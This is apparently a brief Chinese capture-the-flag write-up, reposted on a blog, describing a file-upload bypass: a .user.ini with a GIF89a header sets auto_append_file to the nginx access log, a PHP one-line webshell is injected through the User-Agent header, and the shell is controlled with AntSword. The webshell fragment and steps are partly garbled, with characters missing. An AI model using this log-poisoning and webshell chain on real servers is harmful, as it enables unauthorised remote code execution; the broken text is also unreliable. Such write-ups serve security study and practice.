先上传一个zip,然后抓包,改.user.iniGIF89A,可以传php等格式,但是发现文件内容过滤了 <> php $

发现可以上传 = 文件

"/var/log/nginx/access.log"
auto_append_fileeval

UA添加小马

( @$_POST['shell']);?>

蚁剑相连

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/990739.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-21
下一篇 2022-05-21

发表评论

登录后才能评论

评论列表(0条)

保存